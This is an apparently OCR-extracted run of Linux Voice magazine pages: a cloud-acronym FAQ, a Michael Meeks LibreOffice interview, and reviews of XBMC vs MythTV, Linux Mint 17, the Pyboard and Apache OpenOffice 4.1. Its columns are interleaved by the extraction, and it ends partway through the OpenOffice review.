FAQ [IPSM]AAS

[IPSM]AAS
Something as a service? Surely the cloud is built on more than acronyms?
Linux Voice doesn’t usually acronym. Cloud vendors are saying to
GRAHAM MORRISON suffer from CTO babble. None their customers, “Don’t worry about
of what you said made any sense. how all this works, just let us know what
What does that silly title even Sorry about that! It’s because you need and we’ll cover that as part of
mean? [IPSM]AAS can’t these terms are bandied about in our service.” And that’s where the other
seriously be a real name! keynotes and press releases, and may parts of the acronym come together
Ah no. We used an old grep trick be responsible for giving the whole – these are the parts that companies
to group a load of characters cloud revolution something of a bad wanting the economies of scale found
together. It’s known as a bracket name to us old-server types. But each in the cloud can harness.
expression and it means that any acronym – perhaps with the exception
search for [IPSM]AAS will return words of MAAS, which is an invention of At last, it feels like we’re
that begin with any of the letters I, P, S or Canonical’s – does represent a different getting somewhere!
M and finish with the letters AAS. ‘AAS’ stratum of cloud provision. Does that The best place to start is with
is an abbreviation of ‘as a service’, which still sound evasive? ‘IaaS’, where the I is for
is as abstract a notion as the cloud ‘infrastructure’. Infrastructure can mean
itself, where all these acronyms live. Yes, actually. Why not just the physical machines and the network
The letters I, P, S and M stand for explain what one of these that ties them together, along with the
infrastructure, platform, software and acronyms actually means without storage, the switches and the load
metal. They’re all related to cloud saying ‘strata’? balancers required to run any kind of
provision and the scaling talk typical of The cloud is this colossal network networked service at scale. It’s the
when lots of servers become a cloud. of computing resources. It’s closest level to the old server network
But don’t turn the page just yet. Linux is different to old server networks only in topology. But equally, IaaS includes
a fundamental part of this cloud, and it’s its scale. When companies want to virtual machines, virtual storage and
yet another area of incredible success harness the power of the cloud, they virtual local network devices rather than
and growth that would not have been want to do so without worrying about physical ones. The fact that customers
possible without Linux and Free the specifics of what those physical won’t care which they’re getting is a
Software. It also happens to be where servers actually are. vital clue to understanding why the
Canonical is focusing a lot of effort. At We’re no longer dealing with the cloud has become so important.
the beginning of June, Canonical physical characteristics of a machine or In the olden days, for example, you
reaffirmed Metal As A Service… its connection to the network – we’re would pay for a server and you might
dealing with computing, storage and only use 20% of that server’s capacity
net-bandwidth. For that reason, we 99.9% of the time. But sometimes, in
“IaaS includes virtual need another way to describe different
levels of service provided by cloud
those remaining 8.76581277 hours,
perhaps thanks to an old-school
machines, virtual storage and infrastructure. We used the word Slashdotting, your server is pushed past
virtual local network devices.” ‘service’ there, and that’s exactly how
service is used within the ‘aaS’
its capabilities and stops responding.
IaaS fixes this by making resources

38 www.linuxvoice.com
[IPSM]AAS FAQ

‘elastic’, and as a result, you’re only Twitter and millions of other angel-
charged for the resources you use – invested hopefuls. The user has no
including CPU power, bandwidth and knowledge of where these applications SaaS: Software as a Service
storage, rather than charging for are running, or where the data is being GMail, Google Docs, Facebook, Twitter, OwnCloud
resources you’re not using. It’s this stored (or shared). They get unlimited
ability to charge incrementally that has asynchronous access to their functions
PaaS: Platform as a Service
led to the cloud becoming such a from different devices and locations,
Web server, development environments, databases
success. Probably the best known IaaS and while they are sometimes charged
is Amazon’s EC2, but there’s also for the privilege, the prices reflect the
Google’s Compute Engine, Windows scale of cloud provision rather than an IaaS: Infrastructure as a Service
Azure and Rackspace’s Cloud. app’s similarity to anything running on a Real servers, virtual machines, storage, load balancers
computer desktop. The ubiquity of
What’s the difference between associated web interfaces and APIs
this and Platform as a service? means they become their own
MaaS: Metal as a Service
(from Canonical) add, remove and machine provision
They are closely related, and platforms, supported by third-party
many of those providers we just websites and mobile apps.
mentioned offer PaaS as part of their For SaaS, the customer has become
products. The platform, as you may the consumer, whereas in other levels, A guide to recognising your AASes.
already have guessed, is effectively the the customer is often the creator or the
operating system, but it should also host for the content and we’ve left the hardware on which your stack resides.
include the environment that allows you hardware and the physical And hardware provisioning has become
to offer your service. infrastructure of these networks behind. core to Canonical’s cloud business. This
For a website, that might just mean June, MaaS become news again as
LAMP – Linux, Apache, MySQL/ Which leaves us with the ‘M’ part of Canonical’s push to embrace the
MariaDB and PHP. But PaaS is typically – metal as a service. cloud. An essential part of Canonical’s
more ambitious than this. It could be a While the other three levels have Orange Box announcement (a case
Python stack, or a web development become part of the accepted containing 10 IvyBride micro-servers all
stack, or even team collaboration and cloud lexicon, MaaS – Metal as a running OpenStack, and its JumpStart
storage. Or even Google’s own app Service – is specific to Canonical and OpenStack training programme), MaaS
development engines. Additionally, PaaS its ambitious plans to take over the is the glue that converts those
also includes the ability to remotely cloud. MaaS is something that processors into applications. Combine
monitor and manage your applications, Canonical has been working on for the hardware provision of MaaS with
all of which together is known rather quite some time, and while not widely the apt-get functionality of Canonical’s
prosaically as the ‘solution stack.’ You acknowledged, Ubuntu is one of the Juju, and anyone can spin up anything
should see where this is going. most popular operating systems used from a development environment to a
by cloud spinning wizards. Steam gaming server.
You mean with software as a MaaS was first news in 2012, when
service – sorry, Saas? Canonical described it as the level All of this is beginning to make
Exactly. SaaS is the natural next beneath the infrastructure, which we sense. Is there any way of
step up from the platform, where imagine is where they get the ‘metal’ playing with these ideas from the
the cloud providers fill in the gaps part from. While not close enough to comfort of my own network?
themselves. Perhaps the best-known the metal to see the heat sinks and the There are plenty of local IaaS
PaaS applications are Google’s email ack LEDs, Mark Shuttleworth described alternatives, for example. You
and collaborative editing suites, Gmail MaaS as “provisioning for the hyper could install OwnCloud on a NAS or a
and Google Docs, but there’s Facebook, scale era”, making it easy to set up the server and enjoy many of the same
benefits you get from Google Drive and
Google Docs. You might even pay for a
virtual machine somewhere, or a
low-end-box for the IaaS part. There’s
no obvious alternative to a social
network but that’s because they’re very
much a product of their platform.
Canonical’s JuJu and its visualiser are a
great way to see how packages are
deployed across a network, and you can
do this with a virtual machine. It’s even
Canonical’s Orange
Box is a datacentre for possible to run a single OpenStack node
£7,575, with many of from a virtual machine, so there’s plenty
the skills migrated to of potential if you want to teach yourself
the flick of a switch. about the cloud.

www.linuxvoice.com 39
INTERVIEW MICHAEL MEEKS

“WE’VE HAD HUGE
COMMUNITY
SUPPORT. WE’RE
DOING GREAT
THINGS…”
We meet the LibreOffice developer to find out
what next for the suite, and what it’s like to start
a business supporting open source development.

A
lmost three years ago, venture – focused purely on
OpenOffice – one of the most LibreOffice – is moving the office suite
iconic pieces of open source forward at a phenomenal pace, and
software – was forked and a new working with the UK Cabinet Office to
office suite was born: LibreOffice. ensure document freedom for the UK
Michael Meeks was the driving force government. Michael is also the most
behind the technical advancement of enthusiastic person in free software,
the fledgling software, and oversaw even when the subject is something
the project’s rebirth into a cutting-edge seemingly mundane like bugfixing.
suite. This has led to LibreOffice We caught up with him in
becoming standard on almost all Collabora’s Cambridge office to find
Linux distros. out about the future of LibreOffice, the
In 2013 he started a new business, crazy things people do with
Collabora Productivity, to support the spreadsheets and why the GPU’s days
development of LibreOffice. This new are numbered.

What’s happened in the last to see these things finally coming in… You wouldn’t believe it, but in Spain,
three years since LibreOffice finally seeing the spreadsheet for some reason, when they take legal
split from OpenOffice? performing, and having a reasonable notes they’ve all got be in one
Michael Meeks: In three years, quite a design internally. It’s an exciting time paragraph. Previously you could only go
lot has happened. Initially we set up with plenty of new stuff. two pages or so with one paragraph.
LibreOffice and we got a lot of people The project is going really well. We Now, the world is your oyster. You can
suddenly appearing and wanting to get created a non-profit in Germany. We go, really, a very long way. There are
involved, which was gratifying. And took about $1m worth of donations and some fixes like that that you can start to
that’s grown over time. We’ve now got advisory board fees last year. We’ve had see. German comments: we’ve come
[around] 100 people a month huge community support, and we’re down from something like a hundred-
committing, and that’s trending doing great things with that. and-something thousand lines to
upwards. That’s individuals giving us something like 25, and we’re starting to
code. There’s a whole load more In every LibreOffice release shrink that further.
translators and other people involved: notes, there’s a comment We’ve been re-doing all the dialogs.
documentation, QA – there’s a huge about cleaning up the internal code. They used this horrible old way of
amount of work going on. We had about How’s that going? creating dialogs, and now they use
3,000 commits last month, which is a MM: Pft! Haha! There’s a huge amount Glade, so they’re all easy to tweak and
pretty good ratio: 100 commits per day. to do there. We’re doing pretty well. One anyone can work on them – that’s now
And it’s cool. Lots of features, lots of of the things you see in 4.2 for the first 85% complete. Hopefully by our next
fixing, lots of clean-up, lots of core work, time complete is that we used to have release, that will be done.
lots of features that people have really four string classes and now we have If you look at the Coverity stats
needed for a long time. For example, two. So this means that in 4.2 we have (Coverity does this static analysis and
comment printing went into 4.3. It’s nice long paragraph support. checking of the code). There were

40 www.linuxvoice.com
MICHAEL MEEKS INTERVIEW

“Towards the end of this
year you’ll see an Android
viewer coming out, and
probably an Adroid editor –
we’re still looking into that.”

10,000 or so of these potential issues, can get documents from, and we’ve Looking forward over the next
and again, we’ve fixed vast numbers of ended up with something like 45,000 few years, what are the big
these and the number is going rapidly problem documents that have been things coming up for LibreOffice?
down. The new build infrastructure is nasty to deal with in the past, and then MM: Towards the end of this year, you’ll
now complete and that’s been there for we run them through LibreOffice. We see an Android viewer coming out, and
two releases. But there’s still a huge also compile with all of our debugging probably an Android editor – we’re still
amount of clean-up – these assertions on, so we’re in paranoid looking into that – but certainly a viewer.
percentages hide problems – and of mode, and we run this in a loop. It takes You’ll see an iOS version before then.
course when we do that, we create a week or so each time. There’s a company working on that.
more problems. That gives us a whole load of bugs, In terms of online versions and
Uncovering new bugs before the which we’ve fixed, but from time to time integrations with cloud-y things, those
users see them is important. One thing new ones come. We’re starting to are probably further out, but it’s all a
Marcus Mohrhard is doing is taking export them to every format we matter of money. These things aren’t
every bug document we can find, so we support, so not just loading 45,000 terribly expensive, but it’s finding people
scrape our bugzilla, KDE’s, Gnome’s, thousand documents, but re-exporting to pay for them. What else? We’ve seen
Free Desktop’s, you know, anywhere we them as PDF, XLS, ODF, XLSX etc. That OpenCL enablement of the Calc core –
takes longer, but also finds lots of you can use the GPU to calculate
errors. We’re really starting to build the spreadsheets, which is pretty exciting. If
“It’s a never-finished problem, infrastructure to tackle these things and
make that visible to people.
you look at the industry as a whole,
we’re moving to GPUs. Discrete GPUs
but we’re trying to make it a It’s a never-finished problem – that’s will probably die.
little better everywhere.” the punchline – but we’re trying to
make it a little better everywhere.
Previously, the GPU was stuck on a
card somewhere else, so if you wanted

www.linuxvoice.com 41
INTERVIEW MICHAEL MEEKS

clocked at gigahertz, and the GPU is
LibreOffice is now part of the clocked much lower and it gives a much
PCMark benchmarking suite wider power profile.
– that’s a major win. That’s GPGPU. There’s loads more we
can do there – faster JPEG loading,
faster rendering into the graphics
domain, GL stuff. It’s the future of
rendering. Even Microsoft is using it
now. The beauty of WebGL is that it
means you have to have GL everywhere,
so finally there’s grunt behind this
standard that means it’ll be ubiquitous.
It’s just a shame that there’s some
divisions in the GPGPU space: there’s
OpenCL, but there isn’t WebCL, there’s
Google’s thing which is a shame. GL
now works on Windows, Linux and Mac,
so it’s brilliant to have that rendering kit.
In LibreOffice on Windows, you have
to send a texture over to this and get it them to the point that they’re too slow, a scene that’s rendered in GDI (which is
back, you have to put it in a special bit of and only then do they typically do the native toolkit), and we want to
memory, and this is specially DMA’d something about it. composite things on top of this. So you
over and you do something and it have the GDI rendering – which is
specially comes back later, and this is But then they get OpenCL and hardware accelerated anyway – going
lot of kernel transitions, round trips, pain they can make them even more into a texture, but you can’t get that
and aggravation. You have to copy hideously complicated! texture to composite another GL thing
everything: put it in a physical bit of MM: Yeah. Then they can do stupid on top of it, so you end up with a square
memory somewhere that is in the DMA stuff even more, and it actually make window which is really horrible.
aperture. The next evolution is these the thing glow. Even HR people, you’ll
Intel integrated graphics chips. They see them doing vlookup()’s on salaries What else is coming?
share the same memory, but again you and trying to find out how many hours a MM: Better integration, document
have to move it into an aperture. week they spent in each area for each management systems. There’s this
Because you’re talking physical memory of these people in each day, and the thing called LibreOffice Kit that we’re
not virtual, any pointer you have in this days keep growing, and it’s building a producing that enables you to reuse
space is meaningless to the graphics huge table behind the scenes to say: bill LibreOffice on the phones. They’re
chip. It will see it as a number, but it this much for this month, etc. better document indexing and
can’t see where this is in physical conversion in the background.
memory. Traditionally, they could only How do you decide which of It sounds like you’re doing
map a small part of physical memory. these things are important? much more support than you
HAS [Heterogeneous System MM: AMD came to us and encouraged were five or six years ago.
Architecture] is a thing from AMD, us to work on this. It makes sense, MM: This is really a Collabora thing.
Imagination, ARM, etc. The basic idea is because it’s power efficient – the CPU is Collabora Productivity is really doing a
to give the GPU virtual memory address
space, so the GPU and the CPU are both
able to work on the same chunk of
memory, follow pointers, follow linked
lists, do stuff, and this means that you
can move work across to the GPU
much more easily: zero copy, not even
having to manipulate your structures, so
you can start to get the GPU to act on
something – like spreadsheets for
example – so you can get an advantage
with a very small amount of data.

It’s surprising that people use
spreadsheets to the extent that
Michael left SUSE in 2013, taking
they need GPU acceleration.
most of its LibreOffice developers
MM: It’s surprising what people do with
with him to start Collabora.
spreadsheets, and they typically extend

42 www.linuxvoice.com
MICHAEL MEEKS INTERVIEW

but there is Red Hat and Suse, and Is there anything you’ve
there’s a company called CloudOn learned from putting together
which is investing a lot of money. pitches that could be learned by
There’s Igalia, which is a consultancy other open source projects?
doing a whole load of stuff. Collabora of MM: Let me give you the LibreOffice
course, Synerzip, Atomic, Ericsson – pitch. “It’s easy for me to sit down and
lots of companies are starting to get show our financial controller a feature
around this. she doesn’t know in Excel or LibreOffice,
and she works in it all day. There are
Is that something that’s part of features that could make her more
LibreOffice, or something productive, but since people don’t really
that’s come over from OpenOffice? use most of the features, two questions:
MM: I think that’s part of LibreOffice. It Why not? And why are we paying for
is a vendor-neutral space where them? You can actually solve both of
everyone is equal and we want people these in a single blow using LibreOffice.
to get involved. No one is privileged – We’ll provide you with a subscription for
Collabora Productivity may employ the about a twentieth of the cost of
largest group of the most skilled Microsoft Office and secondly you can
developers (we have something like 12 use the money you’ve saved to train
“We have to sell a lot, so I spend a
certified developers) and nine out of the your staff who think they know how to
lot of my time selling consultancy
– but I love to code”. 20 top committers, but certainly not use the software. You’re probably going
100%, and we’re eager for competitors to have to do that anyway to move to
to come in. With my board hat on, I LibreOffice. What you discover when
lot of that, and we love people to use spend time building business for our you start training people is that they’re
LibreOffice. If they can’t because there’s competitors, so there’s no one who like ‘wow, it can do that’, or ‘oh! It does
no support, we’d love to support them. If dominates it. this’. Of course, there are some rough
they can’t because it’s missing a feature, edges, but we can fix those. People can
we can close that gap and off they run. I Apache is still developing become more productive, and save
think we’re lubricating – getting OpenOffice. How do you see money and move to LibreOffice so you
LibreOffice into everywhere. that going? win in every direction.”
MM: We’re diverging pretty rapidly. I That’s the pitch. I think we can save
You’ve been involved in think virtually everything I’ve told you is people a significant amount of money,
LibreOffice and OpenOffice for distinctive to LibreOffice thus far. We get we can move them to open formats.
a long time. Have you seen it commits from them that we include There are lots of reasons people want to
become more popular in the where they’re suitable. Not every do that, cost saving is one, but common
commercial world? commit gets included. Two thirds do. sense is better. There’s security – we
MM: I think there are certainly areas People feel that they own and are part live in an era that’s very concerned
where it’s very popular and it’s growing of LibreOffice in a way that I never saw about documents and leakage and so
quite rapidly. I think a lot of people are before with OpenOffice. It is something on. In the UK, the cabinet office are
using it without paying anything. If you that people can be loyal to, passionate doing a fantastic job at the moment.
want to see a 150,000-seat deployment, about and spend their evenings going They’re doing a lot of good things
you can go to Spain, and that’s great. that bit extra. They’re unhappy when
What we really want to make sure is they get pulled off onto some other They certainly seem to say a
that when people deploy it, they have consulting project because they really lot of good things…
want to make this absolutely beautiful MM: I think those have an impact, but it
for the project. It’s a great feeling. always takes time. We’ve been involved
“People feel that they are a Do you spend most of your
with the ODF consultation. If you want
competition, and you want lots of
part of LibreOffice in a way time now managing people and implementations you can choose from,
that I never saw with OOo.” talking to the press?
MM: Gosh! I don’t talk to the press
ODF is a great choice. To privilege the
incumbent (with 90%+ market share) by
nearly enough! Almost no one knows using a format they created as an exact
services and support so that we can about Collabora Productivity, which is a cardboard cut out of their suite is a
reinvest in making the product better. shame, but there’s quite a lot to do. really foolish way of encouraging
We want to make a virtuous cycle so I love to code – that’s the problem competition. Lucky, the Cabinet Office
that we can grow. Lots of business are – but I have to sell, so I spend a lot of has done the right thing and chosen
doing that. If you look at the companies my time building pitches, investigating ODF, and they seem to be still going
around the ecosystem, many years ago what can be done, going to companies through the process of making that
it was Sun, Red Hat, Suse – that’s about and saying “hey, would you like to invest recommendation, but I think that’s a
it. These days, there’s not Sun or Oracle, in this”, and chasing that sort of thing. sign of deep clue-fullness.

www.linuxvoice.com 43
INTRO REVIEWS

REVIEWS
The latest software and hardware for your Linux box, reviewed
and rated by the most experienced writers in the business

On test this issue...
46 48

Andrew Gregory
Vodafone spying on us, eh? Mass-market open
hardware can’t come soon enough.

T
he hardware acquisition
department at LV Mansions is XBMC vs MythTV Mint 17
at it again. I’ve put in a request After a long day spent configuring KDE, Don’t pay for a Windows 8 licence until
for an old machine that a local business Graham Morrison likes to watch telly. you’ve tried Linux Mint – now supported
is getting rid of. The price is £50 for the But is it better on MythTV or XBMC? until 2019, as Mike Saunders discovers.
bare machine, or £60 with Windows
Vista. Naturally I’ve gone for the Vista 50 51
49
option – more on that in a bit.
The thing is that these machines are
perfectly capable of running Windows 8
– it’s just that in order to upgrade them,
the organisation will need to buy more
Windows 8 licences. So the machines
are useless, which is why they’re
heading our way. That’s perfectly
Pyboard OpenOffice 4.1 Oxygen 16
usable hardware, which the IT chappie Les Pounder’s inner child The #1 office suite for Linux … or Oxygen XML Editor 16,
acknowledges is perfectly good. It’s just squealed with joy for this used to be OpenOffice – to give it its full name,
that, in the parlance of consumer IT, it microcontroller featuring a then it forked to spawn which describes what it
has become ‘obsolete’. What a shame. built-in accelerometer, for LibreOffice. Ben Everard does. Graham Morrison
What a waste. The cycle continues, and all your quadcopter finds out whether it still finds out whether it’s worth
it’s only by a stroke of luck that these drone-building needs. cuts the mustard. the $488 price tag.
precious bundles of copper, plastic and
rare metals aren’t going into a skip.
BOOKS AND GROUP TEST
Visions of Vista
So much of our media is owned by a handful of
I’m keeping a fresh install of Vista on
proprietors that it’s hard to get a view of what’s really
there because I’m curious. I’d like to see going on in the world. The BBC never reports on the
how fast it boots when it’s fresh, and changes that are going on in the NHS, for instance,
how that compares to a week, a month, perhaps (though we couldn’t possible comment)
six months down the line. We all know because it doesn’t want to bite the governmental
hand that feeds it. This is why RSS is important. With
that Linux is safer, faster and more
the right aggregator you can create your own news
reliable than other operating systems, feed, without all the intrusive advertising, monitoring
and this is an ideal chance to prove it and propaganda. And in Book Reviews the paranoia
and have some fun in the process. continues, with more japes from our pals at the NSA!
andrew@linuxvoice.com

www.linuxvoice.com 45
REVIEWS XBMC VS MYTHTV

XBMC vs MythTV
Graham Morrison dims the lights, gets the popcorn and settles down for
the Clash of the Linux Media Player Titans.

F
ive or six years ago, coercing desktop Linux
DATA into some kind of television recording, music
MythTV 0.27.1
playing, video watching set-top-box was a
Web mythtv.org lifestyle choice. It took so much time and continual
Developer Isaac Richards effort that you were spared the pain of watching the
Licence GPLv2 rubbish you were recording. The main offender was
MythTV, an application worthy of the much overused
XBMC 13.1
Web http://xbmc.org
word ‘behemoth’. It’s a monstrous creature that only
Developer Team XBMC time and respect can calm; wonderful and frustrating,
Licence GPLv2 complex and powerful in equal dosage.
XBMC isn’t a new pretender to the crown, nor is it New skins can be downloaded and installed in MythTV,
a direct replacement for MythTV, but it has become but you may need to reconfigure menus separately.
a more attractive alternative for many of us. It’s
also been around for many years, famously taking movies, photos, music and other media. This part is
its name from the Xbox games console it originally most similar to XBMC.
subverted, and XBMC is now a very polished, very XBMC can also be expanded through the addition
modular media centre that runs on many different of many plugins, but by default, it will access your
platforms, and it always manages to look great and photos, movies and music collections through a
perform effortlessly. More importantly, it doesn’t television-friendly interface. While it doesn’t offer the
suffer any of the old same functionality as MythTV’s back-end directly,

“XBMC has been designed to analogue cruft that
can hold MythTV
XBMC has been designed to work with third-party
recording and scheduling servers that turn it into
work with third-party recording back. So when both a fully fledged television recording solution. One of

and scheduling servers.” projects pushed
out major releases
those servers can even be the MythTV back-end, if
that’s not too confusing, although most people have
within weeks of migrated away to TVheadend.
each other, we couldn’t resist the opportunity to pit One of the biggest problems with MythTV is
them both against one another. configuring the back-end. You need to get your
hardware working, navigate database configuration
Front-end to front-end and permissions and understand the nature of the
MythTV is a complete digital television recording broadcasts that you want to capture. There’s no
solution that’s split into two parts: one part handles one-click option for Freeview or Freesat in the UK, for
the recording hardware and the scheduling of the example, and there’s very little help within the tools.
recordings, while the other part runs on the hardware
connected to your television. These are known as the Hardware decoding
back-end and the front-end respectively, and you can All of which leads us to XBMC and MythTV’s front-
have more than one front-end connected to more than ends. Both can be installed with very little fuss and
one back-end. The front-end can also be augmented very few dependencies. Thanks to XBMC’s popularity,
through plugins, and can be made to access your and the fact it originated on a system with a decent

MythTV (left) can look very good, but XBMC always seems to look better – mainly thanks to its composited and unified rendering engine.

46 www.linuxvoice.com
XBMC VS MYTHTV REVIEWS

Live TV
MythTV has the ability to play live TV at its core, while XMBC a thumbnail, or compositing it behind the EPG, and MythTV
can add much of the same functionality through a plugin can’t touch it for these features, which becomes an important
(we tested both the TVheadend and Mythtvback-end PVR feature if you’re using one of these as your main TV. XBMC
back-ends). Navigating the plugins list can be tricky, and we also works much better in windowed mode, which is essential
encountered a bug in XBMC that enabled both plugins by if you’re watching on your desktop while doing some work.
mistake, but everything else worked. Pausing, rewinding and
live recording on both XBMC and MythTV is almost identical,
with XBMC having the advantage of a clearer interface.
We’ve previously run MythTV for many years, and its
scheduling and recording stability is peerless. But after a few
months with XBMC and Tvheadend, we’ve encountered a few
stability issues. Sometimes the connection to the back-end
will be lost without reason, especially when rewinding through
a remote buffer, and there feels more of a performance hit
when you access the back-end over a network, but it still
works well. We’ve watched and recorded SD and HD streams
with stereo and multichannel audio, and both work excellently.
One area in which XBMC really excels is with the integration
of live video within the EPG and channel selector. The MythTV supports interactive television in the UK, which
accelerated UI makes short work of scaling the video into may make the choice between them easier to make.

graphics card but only a 733 MHz CPU, it’s always pixels of video. MythTV’s user-interface has had
been able to make best use of graphics acceleration. something of an overhaul with recent versions, and
It works well with OpenELEC running on a Raspberry we think this is thanks to competition from XBMC.
Pi, for instance, and we’ve had a great experience MythUI is the framework, and it now takes advantage
running the latest builds on the Matrix ARM mini-PC, of OpenGL and Qt accelerated rendering. The results
although those builds are curated and customised by can be excellent, and our favourite theme – MythAeon
Matrix themselves to make best use of the hardware. – takes inspiration from XBMC’s original skin. But it’s
Version 13 also adds hardware decoding to a variety more detached from playback than XBMC, which can
of Android device, most notably the Amazon Fire TV composite the video behind the GUI or access many
and the OUYA, so a diminutive, silent ARM-powered of the same user-interface elements whilst playing
media player is a definite possibility with XBMC. media. XBMC is also much better at juggling the video
MythTV’s hardware deciding isn’t so advanced. resolution with the native resolution of your display,
There’s none for the Raspberry Pi and we’ve had little which helps dramatically with font quality and on-
success trying to create custom builds ourselves. This screen rendering.
restricts the front-end to being an HTPC or a laptop, or Having used both extensively over the last couple
possibly a SteamBox if you’re going to play Linux of weeks, and having previously been big fans of all
games anyway. things MythTV, we’re surprised and slightly saddened
at just how much better XBMC has become. It
Hey good lookin’ works on more hardware, it’s more accelerated
Getting around the interface of each depends on the and looks and behaves much more seamlessly.
skin being used. XBMC’s default has set the standard Its plugin architecture and playback options are
in GUI navigation for a television, and once you get easier to understand and it general feels much more
your head around its quirks and pseudo file-system modern. MythTV has the slight edge when it comes
approach to navigation, it’s easy to understand and to scheduling and stability, but that can be solved by
use. With decent hardware acceleration, even the using the MythTV back-end with XBMC. All things
Raspberry Pi can conjure up 1920x1080 composited considered, there’s no contest. XBMC has won.

LINUX VOICE VERDICT
XBMC It’s got a 3D user-interface.
It’s got more plugins that you’ll ever
need, and it runs on anything.

MythTV Hasn’t developed rapidly
enough to meet the competition, and
while still unrivalled for stability, it’s
getting left behind.
Apart from its appearance, the best thing about XBMC is the
number of plugins that can be added to make your system
even more awesome.

www.linuxvoice.com 47
REVIEWS LINUX MINT 17

Linux Mint 17 Qiana
This new release of the world’s favourite desktop distro will be supported
until 2019 - unlike Roy Batty. Mike Saunders takes a look.

T
here used to be a time when the Linux desktop
DATA was a constantly in-progress revolution, with
Web
improvements and regressions flowing in at a
www.linuxmint.com breakneck rate, and each new distro release felt
Developer substantially different to the one before. Those were
The Linux Mint Team good days, despite the number of installations and
Price re-installations we all did, being desperate as we were
Free to download
to experience the cutting-edge of everything Linuxy.
Mainstream desktop Linux has matured since then;
it’s stable, it does a fantastic job, and most of us don’t
need radical changes every six months. We just want
things to work, and get out of the way, leaving us to
use our applications. Clement Lefebvre, the lead
developer of Linux Mint, really gets this – so version The Update Manager now helps to distinguish between
17 of his distro is rather conservative in nature. backports, security fixes and other types of update.
Mint 17 is a Long Term Support (LTS) release, based
on Ubuntu 14.04. This means that it will receive about packages to be installed, so you can see
bugfixes and security patches until 2019, making it a whether an update is a security fix or a backport of an
good choice for application. It’s also smoother in use, no longer waiting

“Clement Lefebvre and his businesses and
production
for NetworkManager or locking the APT cache.
The Driver Manager, meanwhile, can install drivers
team have refined the whole environments. Lefebvre without access to an internet connection – it can use

experience of using Linux Mint.” has also changed
Mint’s release strategy
the boot media instead. This is a sensible move,
because it enables many laptop users to get online
going forward: the next straight away, and not have to plug in an Ethernet
major release, Mint 18, will be based on the next cable and download Wi-Fi drivers separately.
Ubuntu LTS version in 2016, while Mint 17.1, 17.2 etc
will provide relatively small upgrades with newer Efficiency gains
versions of packages in the meantime. We really like There’s now a single Language Settings tool that
this approach – it provides long-term stability with works across the Cinnamon, Mate and Xfce desktops,
access to new applications periodically. while the Welcome screen no longer has to load
As mentioned, there aren’t many whizz-bang new WebKit libraries, so it starts more quickly and uses
Mint 17’s interface is largely features in this release to coo over, but Lefebvre and less RAM.
the same as in previous his team have refined the overall experience of using Desktop software-wise you’ll find Cinnamon 2.2.13,
releases (this screenshot
Linux Mint. The Update Manager, for instance, has had Mate 1.8, LibreOffice 4.2.3, Firefox 28, Thunderbird
shows the Cinnamon
desktop). an interface overhaul, providing more information 24.4, VLC 2.1.2 and Gimp 2.8.10. This is all built on a
base of kernel 3.13.0 and X.Org Server 1.15.1,
compiled with GCC 4.8.2. Of course, everything in the
Ubuntu 14.04 repositories is also available to Mint 17
users, and a lot of documentation can be shared
between the distros too.
Mint 17 isn’t sexy or exciting, and if you’re a Mint 16
user you may be tempted to avoid the upgrade. But
it’s well worth it, both to get the latest software
updates, and to know you’ll be secure for many years
down the road.

LINUX VOICE VERDICT
Mature, reliable and with five years of
support ahead. It’s boring, but for an
LTS that’s exactly what we want.

48 www.linuxvoice.com
MICRO PYTHON & PYBOARD REVIEWS

Micro Python & Pyboard
Is it an Arduino? Is it a Raspberry Pi? No it’s another prototyping platform, with a
built-in accelerometer. Les Pounder investigates.

T
he success of open source hardware
platforms had brought forth many new ideas
and projects, and the newest kids on the block
are Pyboard and Micro Python. The project is the
brainchild of Damien George from Cambridge, and is a
tiny ARM microcontroller platform (the Pyboard),
which is programmed using a lean re-write of Python
3 (Micro Python).
The board has two main ports: one for a micro USB
connection, the other for MicroSD cards, which can be
used to store your scripts. Next we can see a lot of
tiny holes in the board, which provide access to the
microcontroller and enable us to connect many
different types of electronic components. There are
also two microswitches: one is reserved for resetting
the board; and the other can be used in your projects.
Finally there are four small LEDs that are used to
show activity/power to the board, but which can also
be used in your projects.
To program the board, you simply connect it to your
PC with a micro USB cable. After a few seconds the The Pyboard measures just 33 x 40 mm and weighs 6g. There’s a tutorial at
inbuilt 1MiB flash storage is mounted and available for http://tinyurl.com/o529no5 that illustrates how easy it can be to use it with a servo.
use. In the storage you will see four files, but the two
main files we are interested in boot.py and main.py. In and Y direction, accessing our favourite feature of the
main.py we can write our own Python project using Pyboard: its accelerometer. We then connected the DATA
our favourite editor, then save, eject the drive and reset two LEDs, one to connection X1, the other to X12, as Web
the board. Hey presto: your project is working! The they were very near to ground (GND). It’s not hard to http://micropython.org
inclusion of a micro SD slot enables you to add further see this being adapted to create a quadcopter. Developer
programs to your board and save information such as So where does the board fit into the vast sea of Damien George
Price
sensor data to the card. products already on the market? Whereas the
£28 (On sale from July)
Raspberry Pi is a full computer, the Pyboard is a
Yes, but what can it do? microcontroller in a similar vein to the Arduino
The board’s functionality is comparable to an Arduino, platform, and we see it as an alternative to the Arduino
with connections for PWM (Pulse Width Modulation) for those who are already competent with Python.
and analogue-to-digital conversion. For this review we The use of the familiar Python language is a great
wrote a simple script called accel.py (https://github. boost to the board, enabling anyone to quickly
com/lesp/Micro Python) that would illuminate two prototype hardware projects.
LEDs based on how far the board was tilted in an X The Pyboard is a remarkably well made piece of kit,
with lots of expandability and potential for great
projects. Couple this board with the lean
implementation of Python 3 that is Micro Python and
we have an alternative platform for Python-based
hardware hacking. With none of the overheads that a
Raspberry Pi has, by which we mean external devices
and peripherals. If you need a small board for a single
task then why not consider trying this on for size?

LINUX VOICE VERDICT
Great connectivity, small size and
lovely Python make this a great
alternative to the Pi and Arduino.

The main.py file is just a text file on the internal memory.

www.linuxvoice.com 49
REVIEWS APACHE OPENOFFICE 4.1

Apache OpenOffice 4.1
Once the poster child of open source software, OpenOffice has fallen behind in
recent times. It the latest release good enough for it to regain its lead?

O
penOffice’s fall from prominence in the Linux
DATA world has been dramatic. A few years ago it
Web
was in the standard installation of almost
www.openoffice.org every distro – but now it’s almost nowhere to be seen.
Developer After the highly publicised split from LibreOffice and
The Apache Software later move to the Apache Foundation, almost all Linux
Foundation users went with the new suite. However, on other
Price
Free under Apache
platforms, OpenOffice remains the dominant open
Licence 2.0 source office suite. The project’s SourceForge page is
reporting over a million downloads per week, so while
OpenOffice may not be in the Linux spotlight at the
moment, it’s still one of the most widely used open
source projects.
Following its move to the Apache Foundation 3D charts now load quicker to help you confuse people
in 2011, and the release of versions 4.0 and 4.1, faster with your pretty data.
OpenOffice has moved to a ‘release when it’s ready’
approach, so we don’t know when 4.2 will be available. support for Microsoft Office’s document formats.
